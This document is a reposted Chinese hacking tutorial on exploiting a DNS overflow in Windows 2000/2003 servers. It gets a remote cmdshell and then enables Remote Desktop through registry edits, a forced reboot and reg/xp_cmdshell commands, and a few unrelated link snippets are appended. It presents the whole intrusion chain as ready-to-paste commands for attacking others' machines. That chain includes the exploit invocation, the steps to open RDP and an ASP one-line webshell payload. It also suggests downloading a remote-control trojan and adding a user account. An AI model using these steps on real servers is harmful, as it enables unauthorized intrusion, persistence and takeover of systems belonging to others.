1、2000系统

  简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接着我们进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:\WINNT\system32,顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
      echo Windows Registry Editor Version 5.00 >3389.reg 
  echo. >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg 
  echo "Enabled"="0" >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg 
  echo "ShutdownWithoutLogon"="0" >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg 
  echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
  echo "TSEnabled"=dword:00000001 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg 
  echo "Start"=dword:00000002 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg 
  echo "Start"=dword:00000002 >>3389.reg 
  echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg 
  echo "Hotkey"="1" >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
  echo "PortNumber"=dword:00000D3D >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
  echo "PortNumber"=dword:00000D3D >>3389.reg

  简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为.reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码:
      @ECHO OFF & cd/d %temp% & echo [version] > {out}.inf 
  (set inf=InstallHinfSection DefaultInstall) 
  echo signature=$chicago$ >> {out}.inf 
  echo [defaultinstall] >> {out}.inf 
  rundll32 setupapi,%inf% 1 %temp%\{out}.inf

按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险!如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。

  2、2003系统

  相对于2000的系统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
      echo Windows Registry Editor Version 5.00 >3389.reg 
  echo. >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
  echo "fDenyTSConnections"=dword:00000000 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
  echo "PortNumber"=dword:00000d3d >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
  echo "PortNumber"=dword:00000d3d >>3389.reg

  完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。

  在"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

  下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在2003下有一个"reg"命令完全可以做到这一点,嘿嘿。这里我们找一台操作系统为2003的服务器,通过和上面介绍的同样方法溢出后返回一个cmdshell。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用"reg"命令开启远程桌面服务。执行:

  reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

  我们发现"fDenyTSConnections"键值数据为"0x1"。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!在cmdshell下执行:

  reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

  会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了。再执行:

  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

  提示操作成功完成,如图9。这样就把"fDenyTSConnections"的值改为"0x0"了,我们可以执行:

  reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

  我们可以查看一下,看看是不是真的改掉了,发现已经成功更改了数据。现在再来连接服务器的3389看看,发现已经可以成功连接上了,加个用户进去参观咯。至此2003下cmdshell开启远程桌面服务的方法也介绍完了。

  四、其他

  当然了,溢出后也不一定要非要在cmdshell下开启远程桌面服务。可以echo个vbs文件,下载远程控制木马,然后在cmdshell里运行一下木马,上线就OK了。还有就是可以查询一下目标IP是否绑定有网站,然后找到网站目录,再用echo个一句话木马进去(命令是:echo "<%execute request("cmd")%>" >WEB路径\test.asp),然后提交大马呀,上传开3389的工具再开启也行!总之方法不只一个,能达到目的就是好方法
   ***下面是利用数据库xp_cmdshell 开启:
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
查看状态
exec xp_cmdshell 'reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"'

转自那是花开

cmd 3389的更多相关文章

  1. cmd开启3389

    如何用CMD开启3389与查看3389端口 开启 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server / ...

  2. 开启 3389 的 cmd 命令

    方法一: 测试环境 Windows 2003 server 查看开启的端口 没有开启 3389 端口 执行语句 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAM ...

  3. CMD开放3389端口

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t R ...

  4. cmd创建用户开启3389命令

    1.创建用户chen Net user chen 1234566 /add 2.将用户chen添加到管理员组 net localgroup Administrators chen /add 3.开启3 ...

  5. 如何用CMD开启3389与查看3389端口

    开启 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections / ...

  6. cmd部分提权常用命令

    ipconfig 显示本地IP地址 net start telnet 开telnet服务 net use z:127.0.0.1c$ 映射对方的C盘 net user 查看所有用户列表 net use ...

  7. Windows CMD命令大全

    http://greatverve.cnblogs.com/archive/2011/12/09/windows-cmd.html 命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机 ...

  8. Windows CMD命令大全【转】

    命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行安全.稳定,有的用户还在使用,所以一 ...

  9. Windows CMD命令大全(转)

    Windows CMD命令大全   命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行 ...

随机推荐

  1. hadoop三个配置文件的参数含义说明core-site.xml,hdfs-site.xml,mapred-site.xml

    配置hadoop,主要是配置core-site.xml,hdfs-site.xml,mapred-site.xml三个配置文件,默认下来,这些配置文件都是空的,所以很难知道这些配置文件有哪些配置可以生 ...

  2. iOS中静态库-.a文件生成和使用

    最近在使用使用一个网上的Demo的时候. 出现另一令人烦恼的问题 . 就是它里面有嵌套的工程. 如下图所示. 工程里面还嵌套有一个工程. 真的是让人煞费苦心 …其实这个问题看起来并不是很难, 如果是一 ...

  3. AJAX程序实验

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 < ...

  4. android cordova h5总结

    最近项目 替换页面  把80%页面替换成h5了. 首页h5页面可以放在android本地.增加访问速度.节省用户流量 把服务器上的  js代码 压缩成zip格式  放在asset目录.当应用安装时候 ...

  5. redis 进阶

    1.一定要设置最大缓存大小并设置缓存策略 如果不设置最大缓存,在新添加数据时,如果超过最大内存回事redis崩溃! 设置方式:maxmemory 1GB 使用redis-cli登录后,使用info命令 ...

  6. http & json

    TCP(传输层协议) (1) 面向连接  (2) 可靠的  (3) 基于字节流的   连接建立阶段: 客户端 ------->SYN                 服务端(服务器被动打开) 客 ...

  7. linux cat more less head tail

    cat 命令: cat filename  查看一个文件的内容cat[选项][文件]... -b  对非空白行进行编号,行号从1开始-n  和nl命令差不多,对所有行(包括空白行)进行编号输出显示-E ...

  8. mysql主从数据库

    Mysql主从配置,实现读写分离 大型网站为了软解大量的并发访问,除了在网站实现分布式负载均衡,远远不够.到了数据业务层.数据访问层,如果还是传统的数据结构,或者只是单单靠一台服务器扛,如此多的数据库 ...

  9. JPA 系列教程4-单向一对多

    JPA中的@OneToMany @Target({METHOD, FIELD}) @Retention(RUNTIME) public @interface OneToMany { Class tar ...

  10. UVALive 3027 并查集

    #include <cstdio> #include <queue> #include <cstring> #include <iostream> #i ...